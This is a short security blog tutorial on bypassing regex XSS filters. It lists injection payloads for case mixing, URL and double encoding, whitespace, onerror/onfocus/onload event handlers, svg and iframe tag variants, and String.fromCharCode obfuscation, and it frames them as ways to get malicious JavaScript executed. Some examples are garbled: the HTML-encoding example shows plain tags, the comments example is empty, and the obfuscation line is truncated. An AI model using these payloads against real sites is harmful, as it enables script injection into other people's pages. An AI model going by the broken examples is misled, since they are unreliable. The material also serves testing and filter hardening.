Blog | G5 Cyber Security

XSS: Bypassing Regex Filters

G5 Cyber Security

TL;DR

Regex filters are often used to prevent Cross-Site Scripting (XSS) attacks, but they’re rarely perfect. This guide shows common bypass techniques to get your malicious JavaScript code executed despite the filter.

Understanding the Problem

Web applications use regular expressions (regex) to identify and block potentially harmful input. However, regex can be complex and easily tricked. A poorly written regex might allow variations of XSS payloads that still execute JavaScript.

Bypassing Techniques

  1. Case Sensitivity: Some filters are case-sensitive. Try mixing upper and lowercase letters.
    • Instead of <script>alert('XSS')</script>, try <ScRiPt>alert('XSS')</sCrIpT>
  2. HTML Encoding: Encode characters that the filter might block.
    • Replace < with < and > with >.
    • Example: <script>alert('XSS')</script>
  3. URL Encoding: Encode the entire payload.
    • Use a URL encoder (online tools are available). For example, %3Cscript%3Ealert('XSS')%3C/script%3E.
  4. Double Encoding: Encode the encoded payload.
    • Encode it twice to potentially bypass multiple layers of filtering.
  5. Whitespace and Newlines: Insert whitespace or newlines within tags.
    • Try <script >alert('XSS')</script> or <script%0a>alert('XSS')</script>
  6. Attribute Injection: Inject JavaScript into HTML attributes.
    • Example: <img src="x" onerror=alert('XSS')>. The onerror attribute executes JavaScript when the image fails to load.
    • Another example: <input type="text" onfocus=alert('XSS') autofocus>. The onfocus event triggers when the input field gains focus, and autofocus automatically focuses it.
  7. Event Handlers: Use other HTML event handlers.
    • Examples include onload, onclick, onmouseover, etc.
    • Example: <body onload=alert('XSS')>
  8. Tag Variations: Try different HTML tags.
    • Instead of <script>, try <svg><script>alert('XSS')</script></svg> or <iframe><script>alert('XSS')</script></iframe>
  9. Comments: Use HTML comments.
    • Example: . Some filters might not properly handle comments.
  10. Payload Obfuscation: Use JavaScript string manipulation to hide the payload.
    • Example: 
      String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41

      This creates the string ‘alert(‘XSS’)’.

  11. Context Awareness: Understand where your input is being placed in the HTML.
    • If it’s inside an attribute value, single quotes might be needed instead of double quotes.
    • If it’s within a JavaScript string, you need to escape characters appropriately.

Important Considerations

Exit mobile version